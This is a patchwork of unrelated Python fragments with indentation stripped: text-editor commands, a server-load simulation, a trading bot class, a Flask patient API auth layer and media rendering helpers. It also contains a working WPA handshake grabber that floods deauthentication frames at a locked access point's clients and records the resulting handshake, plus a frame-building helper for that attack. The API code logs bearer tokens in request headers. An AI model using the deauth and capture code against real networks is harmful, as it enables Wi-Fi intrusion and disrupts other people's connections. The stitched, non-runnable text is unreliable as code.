def execute(self):
text = self.form.txtEdit.toPlainText()
filewriter = FileWriter(self.form.userfile)
filewriter.open()
filewriter.writeLine(text)
filewriter.close()
logger = Logger()
logger.log("saveText()")
def execute(self):
reply = QMessageBox.question(self.form, 'Message',
"Are you sure to clear text?",
QMessageBox.Yes | QMessageBox.No,
QMessageBox.No)
if reply == QMessageBox.Yes:
self.form.txtEdit.setText('')
logger = Logger()
logger.log("clearText()")
def execute(self):
filereader = FileReader(self.form.userfile)
filereader.open()
text = ''
while True:
temp_str = filereader.readLine()
if not temp_str:
break
text += temp_str
self.form.txtEdit.setText(text)
logger = Logger()
logger.log("readTextFromFile()")
filereader.close()
class Audio(object):
def __init__(self,
verbose=False,
log_output="stderr",
**kwargs):
self._verbose = verbose
self._logger = Logger(log_output=log_output, role=self.__class__.__name__)
self._time_str = str(int(time.time()));
def log(self, m, header_color="", color=""):
self._logger.log(m, header_color=header_color, color=color, time_str=self._time_str)
def _reset_term(self, dummy_a, dummy_b):
call(["reset", "-I"]);
def main(n, config, seasonality, log_dir, log_prefix):
"""
Main loop that runs a simulation. This simulation can be configured by passing
a configuration dictionary, and specifying where all logs will be written to.
Parameters
----------
n: int
The Nth simulation.
config: dict
Configuration for the simulation. Should contain the following keys:
- servers: List of dictionaries, describing a server pool.
- process: Sequence of kinds of servers, describing how a process within
the simulation runs.
- runtime: Until when the simulation should run.
- max_volumne: Maximum number of events.
seasonality: Seasonality
Seasonality object to use for the simulation. This defines the intervals
between events.
log_dir: string
Path pointing to where all logs should be written.
log_prefix: string
Prefix of every log file.
Returns
-------
bool
"""
# we need a new environment which we can run.
environment = Environment()
# we need a server pool
servers = MultiServers()
# iterate over all of the servers that need to be configured that
# we received from the client
for server in config['servers']:
# append a new server pool to the multiserver system
servers.append(
Servers(environment,
size=server['size'],
capacity=server['capacity'],
kind=server['kind']))
# we need a logger that will log all events that happen in the simulation
name = "{0}_{1:04d}_{2}".format(log_prefix, n,
datetime.now().strftime("%Y-%m-%d_%H-%M"))
logger = Logger(name, directory=log_dir, show_stdout=False, usequeue=False)
# we also need a logger for all error events that happen in the simulation
error_logger = Logger(f"error-{name}",
directory=log_dir,
show_stdout=False)
# Start QueueListener
if hasattr(logger, "listener"):
logger.listener.start()
# Enter first line for correct .csv headers
logger.log(
'Time;Server;Message_type;CPU Usage;Memory Usage;Latency;Transaction_ID;To_Server;Message'
)
error_logger.log('Time;Server;Error type;Start-Stop')
# we can use the logger for the simulation, so we know where all logs will be written
environment.logger(logger)
environment.logger(error_logger, type="error")
# we need a new form of seasonality
seasonality = Seasonality(seasonality, max_volume=config["max_volume"])
# now, we can put the process in the simulation
Processor(environment,
servers,
seasonality=seasonality,
kinds=config['process'])
# run the simulation with a certain runtime (runtime). this runtime is not equivalent
# to the current time (measurements). this should be the seasonality of the system.
# for example, day or week.
environment.run(until=int(config['runtime']))
# Start QueueListener
if hasattr(logger, "listener"):
logger.listener.stop()
return name
def run(form):
form.status_text.value = "Looking for an AP with active users"
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
s.bind((form.interface, 0x0003))
mac_collected = []
ap_manager = APManager()
current_state = 'scanning'
pcap_file = None
last_deauth = None
while True:
packet = WpaHandshakeGrabber.getFrame(s)
frame = Radiotap802_11(packet)
if current_state == 'scanning':
if frame.isBeaconFrame():
ap = AccessPoint(frame.ssid, frame.channel, frame.bssid_id)
ap_manager.addAP(ap)
elif frame.isAckBlockFrame(): # duplicat below move above
target = Target(frame.destination)
ap_manager.addTarget(target, frame.source)
if ap_manager.update() and frame.source not in mac_collected and ap_manager.locked_ap is not 0:
current_state = 'ap_locked'
# Move me
root_dev_name = form.interface.split('mon')[0]
Logger.log('Root dev name = {}'.format(root_dev_name))
Logger.log('Switching monitor to channel {}'.format(ap_manager.locked_ap.channel))
process = subprocess.Popen("airmon-ng stop {};airmon-ng start {} {}".format(form.interface, root_dev_name, ap_manager.locked_ap.channel), shell=True, stdout=subprocess.PIPE)
process.wait()
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
s.bind((form.interface, 0x0003))
last_deauth = None
pcap_file = WpaHandshakeGrabber.startPcap(ap_manager.locked_ap)
WpaHandshakeGrabber.switchToLockedTargetView(form, ap_manager.locked_ap.ssid)
elif current_state == 'ap_locked':
WpaHandshakeGrabber.writePcap(pcap_file, packet)
if frame.isAckBlockFrame(): # change this to top like above
target = Target(frame.destination)
ap_manager.addTarget(target, frame.source)
if frame.isQOSFrame() and len(packet) == 163 and frame.destination == ap_manager.locked_ap.mac:
Logger.log('Handshake Found on {}'.format(ap_manager.locked_ap.ssid))
current_state = 'scanning'
mac_collected.append(ap_manager.locked_ap.mac)
ap_manager.locked_ap = None
last_deauth = None
root_dev_name = form.interface.split('mon')[0]
process = subprocess.Popen("airmon-ng stop {};airmon-ng start {}".format(form.interface, root_dev_name), shell=True, stdout=subprocess.PIPE)
process.wait()
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
s.bind((form.interface, 0x0003))
continue
if last_deauth is None or time.time() - last_deauth > 60:
last_deauth = time.time()
target = ap_manager.locked_ap.targets.pop()
deauth_frame = Deauth.getDeauthFrame(ap_manager.locked_ap, target)
WpaHandshakeGrabber.writePcap(pcap_file, packet)
for x in range(0, 3):
s.send(deauth_frame)
WpaHandshakeGrabber.updateUI(form, current_state, ap_manager)
class Bot:
"""This class is an instance of a bot.
Every bot has a name, a ticker, and period.
The period can be 1m, 3m, 5m, 15m, 30m, 1h, 2h, 3h, 4h, 1d, 1w.
A bot can have a period_needed property that will specify how much past data you want at least
at every loop.
Example: a bot with a time period of 5m and a period_needed of 200 will receive at every loop the 200
last ticker, 1000 minutes.
To implement a bot, you just have to override the compute and setup function. Those two functions will be
called automatically by the timing system.
Compute will receive the last period_needed candles for the selected asset.
The data property is a Data object that allows you to store important and persistant information.
Every important variables or objects should be stored in data, in case the bot is restarted or if the server is down.
The logger property is an instance of Logger. It allows you to log information in the console and in the
database and the Dashboard. If you want to log custom metrics, use logger.custom. You will be able to create
visualizations in Grafana with this logs.
The config property is the dictionnary with the same name as the bot in the config.
The exchange property is an instance of Exchange. It allows you to interact with the actual markets.
The live_mode property indicates if the bot should loop and receive live data. Use it only to test your bot
live. If you want to backtrack or test your algorithm, leave live_mode = False.
When live_mode is False, the logger won't log to the DB, and the exchange actions will be simulated.
"""
def __init__(self, name, ticker, period, live_mode, periods_needed=200):
"""
- name: string, the name of the bot
- ticker: string, the ticker formatted like that: ASSET1/ASSET2
- period: string, the period on which the loop will be set, and the resolution of the candles
- live_mode: bool, should we launch the live loop and start trading live
- periods_needed: int, the number of candles you will get every loop, optional
"""
self.live_mode = live_mode
self.name = name
self.ticker = ticker
self.period_text = period
self.periods_needed = periods_needed
self.offset_seconds = 10
if (not self.name in config.get_config()):
print("❌ Cannot instantiate bot: no config entry")
exit(1)
self.config = config.get_config()[self.name]
if (not "capitalAllowed" in self.config):
print("❌ Cannot instantiate bot: no 'capitalAllowed' property")
exit(1)
try:
self.logger = Logger(self.name, live_mode)
except:
print("❌ Cannot connect to the log DB, are you sure it's running?")
raise
if (self.live_mode):
self.data = Data(self.name)
else:
self.data = Data(self.name + "-test")
self.exchange = Exchange(self.logger, self.data, self.config['capitalAllowed'], live_mode, self.ticker, self.period_text)
try:
self.period = period_matching[period]
except:
print("Available periods: 1m, 3m, 5m, 15m, 30m, 1h, 2h, 3h, 4h, 1d, 1w")
raise
self.logger.log("ℹ️", f"Bot {self.name} started with a period of {period}")
self.logger.log("ℹ️", f"Capital allowed: {self.config['capitalAllowed']}%")
self.setup()
if (self.live_mode):
self.preloop()
def preloop(self):
"""Waits for the selected period to begin. We use UTC time.
"""
while (1):
current_time = datetime.datetime.utcnow()
if (self.period < 60):
if (current_time.minute % self.period == 0 and current_time.second == self.offset_seconds):
self.loop()
elif (self.period <= 4 * 60):
hour_offset = int(self.period / 60)
if (current_time.hour % hour_offset == 0 and current_time.minute == 0 and current_time.second == self.offset_seconds):
self.loop()
elif (self.period <= 1 * 60 * 24):
if (current_time.hour == 0
and current_time.minute == 0
and current_time.second == self.offset_seconds):
self.loop()
else:
if (current_time.weekday() == 0
and current_time.hour == 0
and current_time.minute == 0
and current_time.second == self.offset_seconds):
self.loop()
def loop(self):
"""Once we waited for the period to start, we can loop over the periods. At every period we
call compute with the latest data.
"""
while (1):
current_time = datetime.datetime.utcnow()
self.logger.log("ℹ️", f"Downloading latest data at {current_time}")
data = self.exchange.get_latest_data(self.ticker, self.period_text, self.periods_needed)
self.logger.price(data.iloc[-1]['close'])
self.compute(data)
time.sleep(self.offset_seconds + self.period * 60 - datetime.datetime.now().second)
def backtest(self, start_date, end_date):
self.exchange.init_fake_balance()
self.data.reset()
price = []
date = []
data = self.exchange.get_data(start_date, end_date, self.ticker, self.period_text)
if (data.shape[0] == 0):
self.logger.log("❌", "No data for the given time frame")
for i in range(self.periods_needed, data.shape[0]):
batch = data.iloc[i - self.periods_needed:i]
self.exchange.fake_current_price = batch.iloc[-1]['close']
self.exchange.fake_current_date = batch.iloc[-1]['date']
price.append(batch.iloc[-1]['close'])
date.append(batch.iloc[-1]['date'])
self.compute(batch.copy())
hist = pd.DataFrame()
hist['date'] = date
hist['price'] = price
for order in self.exchange.fake_orders:
hist.loc[hist['date'] == order['date'], 'action'] = order['action']
return (self.exchange.fake_balance, self.exchange.fake_pnl, hist)
def setup(self):
"""To implement. Set the bot variable, instantiate classes... This will be done once before the bot
starts.
"""
pass
def compute(self, data):
"""To implement. Called every period, you have the latest data available. You can here take decisions.
"""
pass
class API:
""" The Endpoints class
Initializes the API portion of Bifrost. Also, takes care of authorizations.
Attributes
----------
_endpoints : dict
the endpoint with the associated classes
_version : str
current version that the API runs on
_logger : Logger
the logger object for keeping track of traffic
_db : DB
the DB object for DB interfaces
"""
_endpoints = conf._endpoints
_protected = conf._protected
_workers = conf._workers
_version = "v0"
_logger = None
_db = None
_crypto = None
_env = ""
# --------------------------------------------------------------------------
def __init__(self, env):
"""
Parameters
----------
env : str
the environment that the current instance is running
"""
print("[ENDPOINTS] Initializing...")
# initialize libraries
self._env = env
self._db = DB(self._env, self._workers)
self._logger = Logger(self._db, self._env)
self._crypto = Crypto()
# initialize Flask
self._app = Flask(__name__)
self._app.json_encoder = CustomJSONEncoder
self._api = Api(self._app)
self._app.before_request(self.detectAuthorization)
self._app.after_request(self.finishRequest)
for url in self._endpoints: self.addResource(self._endpoints[url], url)
print("[ENDPOINTS] Done.")
# --------------------------------------------------------------------------
def getApp(self):
""" Return Flask app
AWS requires a Elastic Beanstalk app to be an executable app. As for now
this works.
Returns
-------
Flask
the flask application for AWS
"""
return self._app
# --------------------------------------------------------------------------
def logRequests(self, rtype, request):
""" Prepare log messages
Prepare the messages that we want and use Logger to save them to disk, or
send a notification.
Parameters
----------
rtype : int
response type
request : Request
request object that was generated by Flask
"""
status = "NORMAL"
if rtype == 404 or rtype == 500: status = "CRITICAL"
elif rtype == 401: status = "NOAUTH"
self._logger.log(
"endpoints", json.dumps({
"rtype": str(rtype),
"path": request.path,
"data": request.data.decode("utf8"),
"args": request.args.to_dict(),
"method": request.method,
"remote_addr": request.remote_addr,
"headers": request.headers.to_list()
}), status=status
)
# --------------------------------------------------------------------------
def sendAuthorizationError(self, message, token):
""" Create the authorization error message
Generates a error message that is used multiple times in the code.
Parameters
----------
message : str
message to be sent
token : str
the token that was used in the request
Returns
-------
str
the returning JSON response as a string
int
HTTP response code
"""
return (json.dumps({ "error":message }), 401)
# --------------------------------------------------------------------------
def isValid(self, session, patient_id):
""" Check if token is valid
Uses DB to check if the given token is existing and acive. The `active`
flag in the DB can hence be used to quickly deactivate a token.
Parameters
----------
session : str
the token that was used in the request
patient_id : str
the patient ID that was sent with the request
Returns
-------
bool
IF valid => True, ELSE False
str
the patient_id of the user associated with the session
dict
the full session dict containing all the information loaded from DB
"""
# check if token set;
try:
if session == "" or patient_id == "":
return False, "", {}
session = self._db.getSession(session)
if session["patient_id"] != patient_id: return False, "", {}
except:
return False, "", {}
return True, session["patient_id"], session
# --------------------------------------------------------------------------
def detectAuthorization(self):
""" Check if authorization is valid
Uses the Flask request to check the header. The `Bearer` header must be
present and name a valid session_id. Specifically, the function looks for
the `Authorization: Bearer [SESSION]` header (note the exact format). Finally,
the function adds `patient_id` and `session` to the request object, to make this
information available to the system.
"""
request_path = request.path[len(self._version)+1:]
header = request.headers.get("Authorization")
if request_path in self._protected and request.method in self._protected[request_path]:
header = request.headers.get("Authorization")
if not header:
return self.sendAuthorizationError("Invalid header. Request registered.", "")
# bearer or token not set;
outs = header.split()
if len(outs) != 2:
return self.sendAuthorizationError("Invalid authentication. Request registered.", "")
bearer, session = outs
auth, patient_id, obj = self.isValid(session, request.headers.get("Patient"))
if bearer != "Bearer" or not auth:
return self.sendAuthorizationError("Invalid authentication. Request registered.", session)
request.patient_id = patient_id
request.session = session
request.obj = obj
# --------------------------------------------------------------------------
def finishRequest(self, response):
""" Hook for after response has been prepared
This function logs the response.
Parameters
----------
response : Response
Response object for Flask
Returns
-------
response : Response
Response object for Flask
"""
response.headers["Access-Control-Allow-Origin"] = "*"
response.headers["Access-Control-Allow-Headers"] = "Authorization,Patient"
self.logRequests(response.status_code, request)
return response
# --------------------------------------------------------------------------
def addResource(self, obj, url):
""" Add resources to flask_restful
Injects the API with the endpoints that are given in the `_endpoints`
attribute.
Parameters
----------
obj : flask_restful.Resource
class to inject
url : str
Flask formatted endpoint
"""
print("[ADDED ROUTE]", "/"+self._version+url)
self._api.add_resource(
obj,
"/"+self._version+url,
resource_class_kwargs={
"logger":self._logger,
"db":self._db,
"crypto": self._crypto,
"workers": self._workers,
"request_string": "/"+self._version+url
}
)
def getDeauthFrame(ap, target):
Logger.log('Sending deauh from {} to {}'.format(ap.mac, target.mac))
deauth_frame = struct.pack('!H', 1)
return Radiotap802_11.getRadiotapHeader() + Deauth.getDot11(
ap.mac, target.mac) + deauth_frame
class Renderer(object):
def __init__(self,
audio_player=AUDIO_PLAYER,
pdf_viewer=PDF_VIEWER,
output_directory=OUTPUT_DIR,
tmp_directory=TMP_DIRECTORY,
clean=False,
verbose=False,
log_output="stderr",
**kwargs):
self._verbose = verbose
self._logger = Logger(log_output=log_output, role=self.__class__.__name__)
self._time_str = str(int(time.time()));
self.audio_player = audio_player
self.pdf_viewer = pdf_viewer
self.output_directory = output_directory
self.tmp_directory = TMP_DIRECTORY
if not os.path.isdir(self.output_directory):
try:
os.mkdir(self.output_directory)
except OSError as e:
self.log("The path {} already exists.\n"
"Clear that path or specify a different directory name.".format(self.output_directory)
)
if clean:
self.filename_clean() #for debugging
def log(self, m, header_color="", color=""):
self._logger.log(m, header_color=header_color, color=color, time_str=self._time_str)
def log_warn(self, m):
m = "WARNING:{}".format(m)
self.log(m, header_color=self._logger.RED_WHITE, color=self._logger.YELLOW)
def log_err(self, m):
m = "ERROR:{}".format(m)
self.log(m, header_color=self._logger.RED_WHITE, color=self._logger.RED)
def log_info(self, m):
self.log(m, header_color=self._logger.GREEN, color=self._logger.GREEN);
def filename_new(self, ext, filename=None):
if not filename:
filename = self._time_str
return "{}.{}".format(os.path.join(self.output_directory, filename), ext);
def filename_temporary_new(self, ext, filename=None):
if not filename:
filename = self._time_str
return "{}.{}".format(os.path.join(self.tmp_directory, filename), ext);
def filename_clean(self):
for f in os.listdir(self.output_directory):
if self._verbose:
self.log("Removing {}...".format(f), color=self._logger.BLUE, header_color=self._logger.BLUE)
os.unlink(os.path.join(self.output_directory, f));
def _reset_term(self, dummy_a, dummy_b):
call(["reset", "-I"]);
def simulation():
"""
Function to install handlers on the /simulation path. This allows for
requesting simulation data or starting a new simulation.
Parameters
----------
POST:
servers: list
List containing configurations for a server pool as dicts.
{ capacity: int, size: int, kind: string }
For example, { size: 10, capacity: 10, kind: 'regular' }.
process: list
List specifying how a process should go (from server to server).
This should contain a sequence of server kinds.
For example, ["regular", "balance", "pay"].
runtime: int
Runtime of the simulation (defined by simpy package).
Returns
-------
GET: dict
POST: int
"""
if request.method == "POST":
# nonlocal use of the simulation count
nonlocal simc
# increment the simulation count
simc += 1
# we need a new environment which we can run.
environment = Environment()
# we need a server pool
servers = MultiServers()
# iterate over all of the servers that need to be configured that
# we received from the client
for kind in request.form['kinds'].split(','):
# append a new server pool to the multiserver system
servers.append(
Servers(environment,
size=int(request.form['size']),
capacity=int(request.form['capacity']),
kind=kind.strip()))
# Get the current date and time to append to the logger file name
log_timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M")
# now that we have an output dir, we can construct our logger which
# we can use for the simulation
name = "{0}_{1:04d}_{2}".format(file_prefix, simc, log_timestamp)
logger = Logger(name, directory=LOG_PATH)
# we also need a logger for all error events that happen in the simulation
error_logger = Logger(f"error-{name}", directory=LOG_PATH)
# Enter first line for correct .csv headers
logger.log(
'Time;Server;Message_type;CPU Usage;Memory Usage;Latency;Transaction_ID;From_Server;Message'
)
error_logger.log('Time;Server;Error type;Start-Stop')
# we can use the logger for the simulation, so we know where all logs will be written
environment.logger(logger)
environment.logger(error_logger, type="error")
# we need a new form of seasonality
seasonality = Seasonality(
join(Seasonality_folder, Seasonality_file),
max_volume=int(request.form['max_volume']),
enviroment=environment)
# now, we can attach the MessageGenerator to the simulation envoirment
MessageGenerator(environment,
servers,
seasonality=seasonality,
kinds=[
kind.strip()
for kind in request.form['process'].split(',')
],
timeout=int(request.form['timeout']))
# run the simulation with a certain runtime (runtime). this runtime is not equivalent
# to the current time (measurements). this should be the seasonality of the system.
# for example, day or week.
environment.run(until=int(request.form['runtime']))
# expose the id of the simulation
return jsonify(simc)
if request.method == "GET":
if 'id' in request.args:
logfile_id = "{:04d}".format(int(request.args.get('id')))
# Scan the logfile directory
list_of_files = glob.glob(os.path.join(LOG_PATH, 'log_*.csv'))
# Return only the filename to get no errors with old functions
log_filenames = [
os.path.basename(filename) for filename in list_of_files
]
if log_filenames:
logfile_ids = [f.split('_')[1] for f in log_filenames]
name_id_dict = dict(zip(logfile_ids, log_filenames))
if logfile_id in logfile_ids:
# Logfile associated to given ID was successfully found
return jsonify({
"data": name_id_dict[logfile_id],
"message": "success"
})
else:
# No logfile associated to given ID was found
return jsonify(
{"message": "No logfile (.csv) with given ID exists."})
else:
# No logfiles found (/logs is empty)
return jsonify({"message": "No logfiles were found in /logs."})
